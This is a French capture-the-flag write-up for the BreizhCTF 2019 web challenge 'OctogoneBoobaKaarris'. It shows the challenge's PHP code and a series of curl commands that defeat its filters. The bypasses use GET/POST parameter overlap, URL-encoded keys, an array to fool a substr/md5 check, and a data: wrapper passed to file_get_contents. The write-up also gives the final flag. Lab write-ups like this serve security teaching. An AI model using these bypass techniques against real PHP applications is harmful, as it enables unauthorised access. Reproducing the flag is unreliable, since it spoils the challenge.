BreizhCTF 2019: OctogoneBoobaKaarris
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| BreizhCTF 2019 | OctogoneBoobaKaarris | Web | 75 | 2 |
Description
URL: http://ctf.bzh:26000
TL;DR
L’objectif est de vérifier plusieurs conditions et de contourner quelques paradoxes PHP, notamment les paramètres de type array et le parsing de la variable $_SERVER.
Méthodologie
Premier coup d’œil au code
Une simple requête GET sur l’URL nous a donné le code suivant :
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
if($_SERVER){
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
if(isset($_GET['octogone'])){
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
die('<center><b>booba vs kaaris... #tristesse</b></center>');
}else{
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
include 'flag.php';
echo $flag;
}else die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
?>
En regardant le code, on voit qu’il faut atteindre l’instruction echo $flag;. Cette instruction est atteinte lorsque plusieurs conditions sont vérifiées (voir chaque appel à die()). Pour déboguer le code, j’ai décidé de le copier et de le déboguer dans mon serveur apache (version PHP : 7).
Breakpoints et débogage
Tout d’abord, j’ai décidé de remplacer chaque erreur die par des erreurs personnalisées : ERROR1, ERROR2, ERROR3 …
Ensuite, j’ai remplacé la fonction include flag par echo 'FLAG !'. Enfin, j’ai changé la politique error_reporting(0) en une politique « afficher toutes les erreurs » au début du code.
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
highlight_file(__FILE__);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('ERROR1');
}
}
if($_SERVER){
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('ERROR2');
}
if(isset($_GET['octogone'])){
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
die('ERROR3');
}else{
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
echo 'FLAG !';
}else die('ERROR4');
}
}
?>
C’est parti !
Bypass 1
La première condition était :
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('ERROR1');
}
Le code indique que si une variable de $_REQUEST contient des caractères, alors on quitte. Cette condition est en contradiction avec d’autres :
if preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles'])
Pour contourner cette instruction, il faut placer chaque variable à la fois dans les paramètres POST et GET. $_REQUEST ne vérifiera alors que la requête POST. Notez qu’il faut mettre un entier ou une valeur vide pour chaque paramètre en valeur POST.
Exemple :
curl "localhost/?param1=string1¶m2=string2" -X POST -d "param1=¶m2"
Bypass 2
La condition suivante était :
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('ERROR2');
En d’autres termes, le programme quitte lorsque l’un des mots octogone, flag ou sans_regles est présent dans l’url. C’est un problème car dans la partie suivante du code, on a la vérification suivante :
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']))
Pour ce contournement, mon ami Creased savait que « . » était remplacé par un « _ » pour les paramètres GET (les clés uniquement). D’après le PHP Forum, on voit que d’autres caractères sont convertis en underscore.
De plus, l’url encoding permet de contourner cette vérification puisque $_SERVER ne fait pas d’url decode alors que $_GET le fait.
On peut maintenant contourner le second problème :
curl "localhost/?sans.regles=viens_pas_a_12_cette_fois&%6fctogone=0&%66lag=0" -X POST -d "sans.regles="
Bypass 3
La troisième condition était une étrange vérification de hash :
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
Cela signifie que la variable $_GET[‘octogone’] (les 32 premiers caractères) doit être égale à son propre md5sum.
Pour cette étape, 2 solutions : calculer une md5collision en moins de 32 caractères (bonne chance !), ou… jouer avec un array vide ! J’ai décidé de passer un array en paramètre et d’observer le comportement :
var_dump(substr([],32)); // NULL
var_dump(md5([])); // NULL
var_dump(substr([],32) == md5([])); // True
On peut contourner le troisième problème avec un array pour octogone :
curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=0" -X POST -d "sans.regles="
Bypass 4
La dernière condition était la suivante :
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
echo 'FLAG !';
}else die('ERROR4');
Il faut définir $_GET['flag'] sur une url que file_get_contents pourrait requêter. De plus, le résultat de cette requête doit être égal à « #jaiMalAMaFrance ».
J’ai décidé d’utiliser le wrapper data : flag=data:plain/text,#jaiMalAMaFrance. J’ai urlencodé la première lettre pour contourner le deuxième filtre et placé cette variable en POST pour contourner le premier filtre. J’ai également urlencodé les caractères spéciaux du wrapper : data%3Aplain%2ftext%2C%23jaiMalAMaFrance
curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=data%3Aplain%2ftext%2C%23jaiMalAMaFrance" -X POST -d "sans.regles=&flag="
Et voilà ! Nous avons contourné toutes les conditions !
Flag
BREIZHCTF{un_octogone_sans_arbitre_sans_règles…#jaimalamafrance}